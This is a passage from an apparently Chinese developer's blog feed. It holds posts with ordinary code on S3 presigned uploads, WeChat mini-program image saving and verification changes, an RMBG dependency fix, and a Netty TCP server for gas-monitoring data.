class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> presignedUrl = result.<span class="property">data</span>;  <span class="comment">// 从返回的 JSON 数据中提取预签名的 URL  </span></span></span><br><span class="line"><span class="language-javascript">        <span class="keyword">const</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();  </span></span><br><span class="line"><span class="language-javascript">        xhr.<span class="title function_">open</span>(<span class="string">&#x27;PUT&#x27;</span>, presignedUrl, <span class="literal">true</span>);  </span></span><br><span class="line"><span class="language-javascript">        xhr.<span class="title function_">setRequestHeader</span>(<span class="string">&#x27;Content-Type&#x27;</span>, file.<span class="property">type</span>);  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 更新进度条  </span></span></span><br><span class="line"><span class="language-javascript">        xhr.<span class="property">upload</span>.<span class="property">onprogress</span> = <span class="keyword">function</span>(<span class="params">event</span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">if</span> (event.<span class="property">lengthComputable</span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">                <span class="keyword">const</span> percentComplete = (event.<span class="property">loaded</span> / event.<span class="property">total</span>) * <span class="number">100</span>;  </span></span><br><span class="line"><span class="language-javascript">                <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;progressBar&#x27;</span>).<span class="property">style</span>.<span class="property">width</span> = percentComplete + <span class="string">&#x27;%&#x27;</span>;  </span></span><br><span class="line"><span class="language-javascript">            &#125;  </span></span><br><span class="line"><span class="language-javascript">        &#125;;  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 处理上传完成后的事件  </span></span></span><br><span class="line"><span class="language-javascript">        xhr.<span class="property">onload</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">            <span class="keyword">if</span> (xhr.<span class="property">status</span> === <span class="number">200</span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">                <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;statusText&#x27;</span>).<span class="property">innerText</span> = <span class="string">&#x27;文件上传成功！&#x27;</span>;  </span></span><br><span class="line"><span class="language-javascript">            &#125; <span class="keyword">else</span> &#123;  </span></span><br><span class="line"><span class="language-javascript">                <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;statusText&#x27;</span>).<span class="property">innerText</span> = <span class="string">&#x27;文件上传失败，请重试。&#x27;</span>;  </span></span><br><span class="line"><span class="language-javascript">            &#125;  </span></span><br><span class="line"><span class="language-javascript">        &#125;;  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        <span class="comment">// 错误处理  </span></span></span><br><span class="line"><span class="language-javascript">        xhr.<span class="property">onerror</span> = <span class="keyword">function</span>(<span class="params"></span>) &#123;  </span></span><br><span class="line"><span class="language-javascript">            <span class="variable language_">document</span>.<span class="title function_">getElementById</span>(<span class="string">&#x27;statusText&#x27;</span>).<span class="property">innerText</span> = <span class="string">&#x27;文件上传过程中出现错误。&#x27;</span>;  </span></span><br><span class="line"><span class="language-javascript">        &#125;;  </span></span><br><span class="line"><span class="language-javascript">  </span></span><br><span class="line"><span class="language-javascript">        xhr.<span class="title function_">send</span>(file);  </span></span><br><span class="line"><span class="language-javascript">    &#125;  </span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span>  </span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/261d8b273b9097619450a8205e9addad.png" alt="image.png"></p>]]></content>
    
    
    <summary type="html">封装了支持S3协议的文件服务器(如minio、阿里云OSS、腾讯云)的相关操作，支持分片上传、断点续传、不经过后端服务上传</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="OSS" scheme="https://blog.allbs.cn/tags/OSS/"/>
    
  </entry>
  
  <entry>
    <title>小程序由个人认证变更企业认证</title>
    <link href="https://blog.allbs.cn/posts/39504/"/>
    <id>https://blog.allbs.cn/posts/39504/</id>
    <published>2024-08-08T03:40:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景">背景</h2><p>因为个人认证功能限制太多，导致万能文件浏览还需要跳转浏览器才能查看，这让我感到非常不便。所以，我决定无论如何都要进行企业认证。起初我考虑注册个体工商户，但在了解流程和每年的报税要求后，觉得有些麻烦。最终，我决定挂靠在表哥的公司名下进行认证。</p><h2 id="大致流程">大致流程</h2><p>设置-&gt;主体信息-&gt;小程序主体变更<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/16c887a6d9958da6624ddb1bac8b16e7.png" alt="变更主体"></p><p>变更主要内容有:</p><ul><li>原个人主体的身份证正反面合成一张图片</li><li>目标企业主体的营业执照</li><li>微信小程序主体变更申请函，从变更资料那边下载，自己打印</li><li>自己手机号验证码</li><li>目标企业法人手机号验证码</li><li>修改服务类目，原服务类目会失效，我是先随便选了俩等通过认证之后再补</li><li>每年30块的认证费涨到300</li></ul><h3 id="变更函说明">变更函说明</h3><ul><li>需要目标企业的盖两个章，一个骑缝章</li><li>原个人主体需要签字和印手印</li></ul><h2 id="第一次提交失败">第一次提交失败</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/b68d68d4c753a9fffc10ece6ebcae3d9.png" alt="image.png"></p><p>一个是应该使用原始id，这个没注意看弄错了，我申请函上使用的是小程序id<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/19b45b0650941e45a0a10879dd02cbd8.png" alt="原始id"></p><p>还有一个就是签字处要<code>按手印</code>，只能让我哥把文件寄过来。</p><h2 id="第二次整改提交">第二次整改提交</h2><p>整改后的变更函只需要发送到专员的邮箱即可，不用再在网页上进行操作。<br>提交第二天给我打了电话确认，先是人工询问一次信息，然后电子播报一次规则，最后再一次人工询问有什么问题。至于为什么是两次，因为我的变更函上手欠原管理员和目标管理员都写得自己，实际上<code>目标管理员可以留空</code>。我没留空得结果就是第一次电话过来之后又来了一个一模一样得电话，还是那个审核专员😂说实话有点死板。</p><h2 id="变更成功">变更成功</h2><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/40859f7b0091f597bede839090d2cfbd.png" alt="image.png"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/a10cb8c95d5a591e388d9fca4a0da911.png" alt="image.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;因为个人认证功能限制太多，导致万能文件浏览还需要跳转浏览器才能查看，这让我感到非常不便。所以，我决定无论如何都要进行企业认证。起初我考虑注册个体工商户，但在了解流程和每年的报税要求后，觉得有些麻烦。最终，我决定挂靠在表哥的公司名下进行</summary>
      
    
    
    
    <category term="小程序" scheme="https://blog.allbs.cn/categories/%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
    
    
    <category term="小程序" scheme="https://blog.allbs.cn/tags/%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
    
  </entry>
  
  <entry>
    <title>微信小程序开发，下载图片到系统相册并重命名文件名称的方法</title>
    <link href="https://blog.allbs.cn/posts/49311/"/>
    <id>https://blog.allbs.cn/posts/49311/</id>
    <published>2024-08-05T06:15:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<p>最近一直在开发小程序，做了一个自动抠图的功能。很多人可能需要将照片的背景去除，但是又不会ps怎么办？这个一键抠图就是解决这个问题。</p><p>我的预想是将自动抠图的照片保存为<code>output_原文件名</code>的形式。所以有了以下代码步骤: <code>wx.downloadFile</code> -&gt; <code>wx.getFileSystemManager().rename</code> -&gt; <code>wx.saveImageToPhotosAlbum</code></p><p>原代码方法:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">downloadImage</span>(<span class="params"></span>) &#123;  </span><br><span class="line">    <span class="keyword">const</span> that = <span class="variable language_">this</span>;  </span><br><span class="line">    <span class="keyword">if</span> (!<span class="variable language_">this</span>.<span class="property">data</span>.<span class="property">resultImageSrc</span>) &#123;  </span><br><span class="line">        wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">            <span class="attr">title</span>: <span class="string">&#x27;没有可下载的图片&#x27;</span>,  </span><br><span class="line">            <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">        &#125;);  </span><br><span class="line">        <span class="keyword">return</span>;  </span><br><span class="line">    &#125;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">const</span> fileName = app.<span class="property">utils</span>.<span class="title function_">extractFileNameFromUrl</span>(<span class="variable language_">this</span>.<span class="property">data</span>.<span class="property">resultImageSrc</span>);  </span><br><span class="line">  </span><br><span class="line">    wx.<span class="title function_">downloadFile</span>(&#123;  </span><br><span class="line">        <span class="attr">url</span>: <span class="variable language_">this</span>.<span class="property">data</span>.<span class="property">resultImageSrc</span>,  </span><br><span class="line">        <span class="title function_">success</span>(<span class="params">res</span>) &#123;  </span><br><span class="line">            <span class="keyword">if</span> (res.<span class="property">statusCode</span> === <span class="number">200</span>) &#123;  </span><br><span class="line">                <span class="keyword">const</span> tempFilePath = res.<span class="property">tempFilePath</span>;  </span><br><span class="line">                <span class="keyword">const</span> newFilePath = <span class="string">`<span class="subst">$&#123;wx.env.USER_DATA_PATH&#125;</span>/<span class="subst">$&#123;fileName&#125;</span>`</span>;  </span><br><span class="line">  </span><br><span class="line">                wx.<span class="title function_">getFileSystemManager</span>().<span class="title function_">rename</span>(&#123;  </span><br><span class="line">                    <span class="attr">oldPath</span>: tempFilePath,  </span><br><span class="line">                    <span class="attr">newPath</span>: newFilePath,  </span><br><span class="line">                    <span class="title function_">success</span>(<span class="params"></span>) &#123;  </span><br><span class="line">                        wx.<span class="title function_">saveImageToPhotosAlbum</span>(&#123;  </span><br><span class="line">                            <span class="attr">filePath</span>: newFilePath,  </span><br><span class="line">                            <span class="title function_">success</span>(<span class="params"></span>) &#123;  </span><br><span class="line">                                wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                                    <span class="attr">title</span>: <span class="string">&#x27;图片下载成功&#x27;</span>,  </span><br><span class="line">                                    <span class="attr">icon</span>: <span class="string">&#x27;success&#x27;</span>  </span><br><span class="line">                                &#125;);  </span><br><span class="line">                            &#125;,  </span><br><span class="line">                            <span class="title function_">fail</span>(<span class="params"></span>) &#123;  </span><br><span class="line">                                wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                                    <span class="attr">title</span>: <span class="string">&#x27;保存图片失败&#x27;</span>,  </span><br><span class="line">                                    <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">                                &#125;);  </span><br><span class="line">                            &#125;  </span><br><span class="line">                        &#125;);  </span><br><span class="line">                    &#125;,  </span><br><span class="line">                    <span class="title function_">fail</span>(<span class="params"></span>) &#123;  </span><br><span class="line">                        wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                            <span class="attr">title</span>: <span class="string">&#x27;重命名文件失败&#x27;</span>,  </span><br><span class="line">                            <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">                        &#125;);  </span><br><span class="line">                    &#125;  </span><br><span class="line">                &#125;);  </span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">                wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                    <span class="attr">title</span>: <span class="string">&#x27;下载图片失败&#x27;</span>,  </span><br><span class="line">                    <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">                &#125;);  </span><br><span class="line">            &#125;  </span><br><span class="line">        &#125;,  </span><br><span class="line">        <span class="title function_">fail</span>(<span class="params"></span>) &#123;  </span><br><span class="line">            wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                <span class="attr">title</span>: <span class="string">&#x27;请求下载失败&#x27;</span>,  </span><br><span class="line">                <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">            &#125;);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;);  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在开发环境中测试是正常的，图片能够正常重命名并且也能够下载下来。结果上线后发现实际并不能正常下载😂</p><p>一翻查找资料之后发现保存系统相册重命名还不能使用<code>wx.getFileSystemManager().rename</code>,遂对代码进行调整如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">wx.<span class="title function_">downloadFile</span>(&#123;  </span><br><span class="line">    <span class="attr">url</span>: <span class="variable language_">this</span>.<span class="property">data</span>.<span class="property">resultImageSrc</span>,  </span><br><span class="line">    <span class="attr">filePath</span>: <span class="string">`<span class="subst">$&#123;wx.env.USER_DATA_PATH&#125;</span>/<span class="subst">$&#123;fileName&#125;</span>`</span>,  </span><br><span class="line">    <span class="title function_">success</span>(<span class="params">res</span>) &#123;  </span><br><span class="line">        <span class="keyword">if</span> (res.<span class="property">statusCode</span> === <span class="number">200</span>) &#123;  </span><br><span class="line">            <span class="keyword">const</span> tempFilePath = res.<span class="property">filePath</span>;  </span><br><span class="line">            wx.<span class="title function_">saveImageToPhotosAlbum</span>(&#123;  </span><br><span class="line">                <span class="attr">filePath</span>: tempFilePath,  </span><br><span class="line">                <span class="title function_">success</span>(<span class="params"></span>) &#123;  </span><br><span class="line">                    wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                        <span class="attr">title</span>: <span class="string">&#x27;图片下载成功&#x27;</span>,  </span><br><span class="line">                        <span class="attr">icon</span>: <span class="string">&#x27;success&#x27;</span>  </span><br><span class="line">                    &#125;);  </span><br><span class="line">                &#125;,  </span><br><span class="line">                <span class="title function_">fail</span>(<span class="params"></span>) &#123;  </span><br><span class="line">                    wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                        <span class="attr">title</span>: <span class="string">&#x27;保存图片失败&#x27;</span>,  </span><br><span class="line">                        <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">                    &#125;);  </span><br><span class="line">                &#125;  </span><br><span class="line">            &#125;);  </span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;  </span><br><span class="line">            wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">                <span class="attr">title</span>: <span class="string">&#x27;下载图片失败&#x27;</span>,  </span><br><span class="line">                <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">            &#125;);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;,  </span><br><span class="line">    <span class="title function_">fail</span>(<span class="params"></span>) &#123;  </span><br><span class="line">        wx.<span class="title function_">showToast</span>(&#123;  </span><br><span class="line">            <span class="attr">title</span>: <span class="string">&#x27;请求下载失败&#x27;</span>,  </span><br><span class="line">            <span class="attr">icon</span>: <span class="string">&#x27;none&#x27;</span>  </span><br><span class="line">        &#125;);  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>主要区别就是去除了<code>wx.getFileSystemManager().rename</code>这个重命名方法，而是直接在<code>wx.downloadFile</code>中添加重命名的文件名称即可。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近一直在开发小程序，做了一个自动抠图的功能。很多人可能需要将照片的背景去除，但是又不会ps怎么办？这个一键抠图就是解决这个问题。&lt;/p&gt;
&lt;p&gt;我的预想是将自动抠图的照片保存为&lt;code&gt;output_原文件名&lt;/code&gt;的形式。所以有了以下代码步骤: &lt;code&gt;wx</summary>
      
    
    
    
    <category term="小程序" scheme="https://blog.allbs.cn/categories/%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
    
    
    <category term="小程序" scheme="https://blog.allbs.cn/tags/%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
    
  </entry>
  
  <entry>
    <title>做小程序自动抠图时遇到的问题，解决python中找不到指定的模块fbgemm.dll的方案</title>
    <link href="https://blog.allbs.cn/posts/28431/"/>
    <id>https://blog.allbs.cn/posts/28431/</id>
    <published>2024-08-05T02:10:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h2 id="发现问题">发现问题</h2><p>小程序做了个一键抠图的功能，使用的是开源模型<code>RMBG</code>。<br>但是在运行模型时出现问题，如下:<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/43cb71d4ba0026c3161c1eb3093fcb81.png" alt="找不到模块"></p><h2 id="解决方法">解决方法</h2><p>答案是在油管上看到的，方法如下:</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/0337be1931b38a70d49fcfff8353fc11.png" alt="visual studio"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/d2f465c908e1aad40e594fb2fecb9b89.png" alt="下载安装"><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/863313751f528bbb959d51c452150850.png" alt="下载安装"></p><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/5b21399949685c67a8c2578f28c7d5d1.png" alt="安装中"></p><h2 id="实现效果">实现效果</h2><h3 id="本地demo">本地demo</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/7f0149e785fce59455152785748b31e1.png" alt="本地demo"></p><h3 id="小程序">小程序</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/08/bbec277533a56daf946aba916e04d01f.png" alt="小程序"></p>]]></content>
    
    
    <summary type="html">做小程序自动抠图时遇到的问题，解决python中找不到指定的模块fbgemm.dll的方案</summary>
    
    
    
    <category term="python" scheme="https://blog.allbs.cn/categories/python/"/>
    
    
    <category term="小程序" scheme="https://blog.allbs.cn/tags/%E5%B0%8F%E7%A8%8B%E5%BA%8F/"/>
    
    <category term="python" scheme="https://blog.allbs.cn/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>使用java开发了一个有毒可燃气体监测数据接收的服务端</title>
    <link href="https://blog.allbs.cn/posts/7218/"/>
    <id>https://blog.allbs.cn/posts/7218/</id>
    <published>2024-08-01T10:00:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="项目简介">项目简介</h2><ul><li>这是一个服务端源码</li><li>使用的是hj212-2017协议进行传输</li><li>监测设备通过网线接交换机，以TCP传输</li><li>传输设备共监测7个点，其中3个点监测的是混合气体，4个点是单一因子</li><li>存在212中的因子使用212编码，混合及不存在的使用自定义编码</li><li>阈值根据中华人民共和国国家职业卫生标准GBZ 2.1—2019来定</li><li>只包含实时数据传输</li><li>实时数据为null使用平均值</li><li>实时判断是否监测数据超标，超标数据写入influxdb，消警时将该条数据的<code>clearTime</code>以消警时间填充。</li><li>实时数据和报警数据同步写入Redis，方便使用。</li><li>服务监听端口<code>6000</code>，为yml中的<code>netty.port</code></li><li>服务默认端口<code>server.port</code>其实没啥用，因为不涉及web。我这边设置完全是公司开发的自动发布服务需要监听这个端口。</li></ul><h2 id="核心代码">核心代码</h2><h3 id="首先是使用netty开发的TCP服务端">首先是使用netty开发的TCP服务端</h3><h4 id="NettyServer">NettyServer</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.lyc.toxicharmful.config.properties.NettyProperties;  </span><br><span class="line"><span class="keyword">import</span> io.netty.bootstrap.ServerBootstrap;  </span><br><span class="line"><span class="keyword">import</span> io.netty.buffer.ByteBuf;  </span><br><span class="line"><span class="keyword">import</span> io.netty.buffer.Unpooled;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelFuture;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.ChannelInitializer;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.EventLoopGroup;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.nio.NioEventLoopGroup;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.socket.SocketChannel;  </span><br><span class="line"><span class="keyword">import</span> io.netty.channel.socket.nio.NioServerSocketChannel;  </span><br><span class="line"><span class="keyword">import</span> io.netty.handler.codec.DelimiterBasedFrameDecoder;  </span><br><span class="line"><span class="keyword">import</span> io.netty.handler.codec.string.StringDecoder;  </span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;  </span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> javax.annotation.Resource;  </span><br><span class="line"><span class="keyword">import</span> java.net.InetSocketAddress;  </span><br><span class="line">  </span><br><span class="line"><span class="comment">/**  </span></span><br><span class="line"><span class="comment"> * 类 NettyServer  </span></span><br><span class="line"><span class="comment"> * * <span class="doctag">@author</span> ChenQi  </span></span><br><span class="line"><span class="comment"> * &amp;#064;date 2024/7/29  </span></span><br><span class="line"><span class="comment"> */</span><span class="meta">@Slf4j</span>  </span><br><span class="line"><span class="meta">@Component</span>  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NettyServer</span> &#123;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> NettyServerHandler nettyServerHandler;  </span><br><span class="line">  </span><br><span class="line">    <span class="meta">@Resource</span>  </span><br><span class="line">    <span class="keyword">private</span> NettyProperties nettyProperties;  </span><br><span class="line">  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">start</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;  </span><br><span class="line">        <span class="comment">// 引导辅助程序  </span></span><br><span class="line">        <span class="type">ServerBootstrap</span> <span class="variable">b</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ServerBootstrap</span>();  </span><br><span class="line">        <span class="comment">// 通过nio方式来接收连接和处理连接  </span></span><br><span class="line">        <span class="type">EventLoopGroup</span> <span class="variable">group</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">NioEventLoopGroup</span>();  </span><br><span class="line">        <span class="keyword">try</span> &#123;  </span><br><span class="line">            b.group(group);  </span><br><span class="line">            <span class="comment">// 设置nio类型的channel  </span></span><br><span class="line">            b.channel(NioServerSocketChannel.class);  </span><br><span class="line">            <span class="comment">// 设置监听端口  </span></span><br><span class="line">            b.localAddress(<span class="keyword">new</span> <span class="title class_">InetSocketAddress</span>(nettyProperties.getPort()));  </span><br><span class="line">            <span class="comment">// 有连接到达时会创建一个channel  </span></span><br><span class="line">            b.childHandler(<span class="keyword">new</span> <span class="title class_">ChannelInitializer</span>&lt;SocketChannel&gt;() &#123;  </span><br><span class="line">                <span class="meta">@Override</span>  </span><br><span class="line">                <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">initChannel</span><span class="params">(SocketChannel ch)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">                    <span class="comment">//解决连包问题  </span></span><br><span class="line">                    <span class="type">ByteBuf</span> <span class="variable">delimiter</span> <span class="operator">=</span> Unpooled.copiedBuffer(<span class="string">&quot;\r\n&quot;</span>.getBytes());  </span><br><span class="line">                    ch.pipeline().addLast(<span class="keyword">new</span> <span class="title class_">DelimiterBasedFrameDecoder</span>(<span class="number">16</span> * <span class="number">1024</span>, delimiter));  </span><br><span class="line">                    ch.pipeline().addLast(<span class="keyword">new</span> <span class="title class_">StringDecoder</span>());  </span><br><span class="line">                    <span class="comment">// pipeline管理channel中的Handler，在channel队列中添加一个handler来处理业务  </span></span><br><span class="line">                    ch.pipeline().addLast(<span class="string">&quot;myHandler&quot;</span>, nettyServerHandler);  </span><br><span class="line">                &#125;  </span><br><span class="line">            &#125;);  </span><br><span class="line">            <span class="comment">// 配置完成，开始绑定server，通过调用sync同步方法阻塞直到绑定成功  </span></span><br><span class="line">            <span class="type">ChannelFuture</span> <span class="variable">f</span> <span class="operator">=</span> b.bind().sync();  </span><br><span class="line">            log.info(<span class="string">&quot;&#123;&#125; started and listen on &#123;&#125;&quot;</span>, NettyServer.class.getName(), f.channel().localAddress());  </span><br><span class="line">            f.channel().closeFuture().sync();<span class="comment">// 应用程序会一直等待，直到channel关闭  </span></span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;  </span><br><span class="line">            log.error(<span class="string">&quot;NettyServer start error&quot;</span>, e);  </span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;  </span><br><span class="line">            <span class="comment">// 关闭EventLoopGroup，释放掉所有资源包括创建的线程  </span></span><br><span class="line">            group.shutdownGracefully().sync();  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="NettyServerHandler">NettyServerHandler</h4><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span 